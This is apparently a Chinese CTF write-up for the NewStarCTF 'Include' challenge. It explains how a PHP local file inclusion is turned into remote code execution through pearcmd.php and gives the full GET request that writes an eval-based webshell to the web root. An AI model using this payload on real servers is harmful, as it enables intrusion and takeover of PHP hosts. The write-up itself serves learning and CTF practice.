首页 > 其他分享 >LFI to RCE [NewStarCtf]Include

LFI to RCE [NewStarCtf]Include

时间:2024-04-25 16:11:05浏览次数:20  
标签:php LFI 默认 flag pearcmd RCE Include

记录一个没见过的RCE类型题目。先看源码:

点击查看代码
<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>
可以看到过滤了一些协议以及flag,而且在include时会在文件尾部添上.php后缀,最开始的想法时利用file协议来绕过,但是仔细想想后缀php怎么办,提示说phpinfo中有东西,看看去。


发现是假flag,到这里时我没思路了,因为协议基本都用不了。看了wp发现这个假flag是个提示,说是检查register_argc_argv这个东西,那就看看,发现这个东西是开启状态的,那就去搜搜与它相干的漏洞。搜到了LFI TO RCE之pearcmd.php利用。这个东西是pecl的类库,用于管理扩展而使用的命令行工具。在docker容器中是被默认安装的,在php7.3之前是默认安装的,7.4及以后需要指定安装。在其源码中会将$_SERVER[‘argv’]当作参数执行,这样就给了我们可以命令执行的可能,例如http://xxxxx/index.php?system+ls 会返回当前目录下东西,+为分隔符不能去掉。
所以payload为:

点击查看代码
发GET包
GET /?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php
config-create是pearcmd.php的参数,用于创建默认配置文件。意思就是讲<?=eval($_POST[1])?>写到/var/www/html/路径下的a.php,没有则创建一个。

发出请求后直接上蚁剑进行连接,在根目录发现flag。又学到一招。

标签:php,LFI,默认,flag,pearcmd,RCE,Include
From: https://www.cnblogs.com/jocker-love-you/p/18157926

相关文章

  • springboot mybatis-plus dynamic-datasource实现
    基础架构是springboot+mybatis-plus实现动态数据源步骤步骤1:pom文件<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.7.12</version>......
  • Codeforces Round 892 (Div. 2) E
    E的话一眼dp,然后观察一下方程,\(f[i][j]表示前i个位置已经选了长度为j的区间,且第i个位置已经被选上时,能够获得的最大值\)\[f[i][j]=\displaystyle\max_{1\leqk\leqmin(i,j)}(f[i-k][j-k]+calc(i-k+1,j))\\calc(l,r)=|b_l-a_r|+|b_r-a_l|\]这样的dp是\(O(n^2k)\)的,而\(1\leqk......
  • cf 1601B Frog Traveler Codeforces Round 751 (Div. 1)
     Problem-1601B-Codeforces BFS然后每次上升可以的范围是一个区间,然后每次都遍历这个区间的所有点,那么超时。用set等方式,合并这些区间,之前没遍历过的范围才更新(加入BFS需要遍历的队列里)。但是区间的更新特别容易写错…… 我的代码和造数据1/**2记录两个vi......
  • Codeforces Round 940 (Div. 2) and CodeCraft-23 题解
    CodeforcesRound940(Div.2)andCodeCraft-23题解题目链接A.Stickogon贪心#include<bits/stdc++.h>usingnamespacestd;#definefffirst#definesssecond#definepbpush_back#defineall(u)u.begin(),u.end()#defineendl'\n'#definedebu......
  • Educational Codeforces Round 164 (Rated for Div. 2)
    A.PaintingtheRibbon题意:n个物体,m个颜色,alice要给每个物体任意涂一个颜色。bob可以给k个物体涂色,问alice能否阻止bob让所有的物体颜色都相同。思路:思维题。如果m=1,那么无解。如果m>1,那么bob如果想要染成同一个颜色,alice可以让bob需要染色的数量最多。如果染色的数量最多,那......
  • @Resource和 @Autowired的区别
     在Spring框架中,@Resource和@Autowired是两个常用的注解,都用于实现依赖注入。 @Autowired@Autowired 注解是Spring框架的核心注解之一,用于自动装配SpringBean。它可以在字段、构造函数、Setter方法上使用。当Spring容器中存在一个与要注入的类型......
  • Codeforces Round 906 (Div. 2) E1
    时隔了不知道多久的补题。两个月吧,这是可是寒假的比赛。但是补题的时候还是遇到了很多问题。很重要的有一些地方能够简化,一些条件没有充分的利用上,导致了我很多地方考虑的太复杂。这些能够简化的地方全部利用上我觉得才算是写出来了这道题目,否则这题会复杂到我赛时写不完,而且特......
  • Visual Studio Code 检测到#include 错误,请更新includepath。已为此翻译单元 禁用波
    以上问题的出现是因为visualstudiocode的环境没有配置好在界面中按ctrl+shft+p输入Cconfiguration选择上图蓝色框 在上面红色框填上正确的路径(如果没有这个路径要在https://sourceforge.net/projects/mingw-w64/下载MinGW,具体操作b站有可以去看看照着下载)因为用的是c......
  • CodeForces 115D Unambiguous Arithmetic Expression
    洛谷传送门CF传送门直接区间dp可以做到\(O(n^3)\),卡常可过,在此就不赘述了。为了方便先把连续的数字缩成一段。我们考虑直接从前往后扫,扫的过程中dp。设\(f_{i,j}\)为考虑了\([1,i]\),还有\(j\)个没配对的左括号的方案数。但是我们发现我们不知道一个数字前要添加几......
  • Large Language Models Are Semi-Parametric Reinforcement Learning Agents
    发表时间:2023(NeurIPS2023)文章要点:文章提出一个evolvableLLM-basedagent框架REMEMBERER,主要思路是给大模型加一个experiencememory存储过去的经验,然后用Q-learning的方式计算Q值,再根据任务相似度采样轨迹和对应的Q值作为prompt指导LLM进一步选取动作和环境交互。这里的S......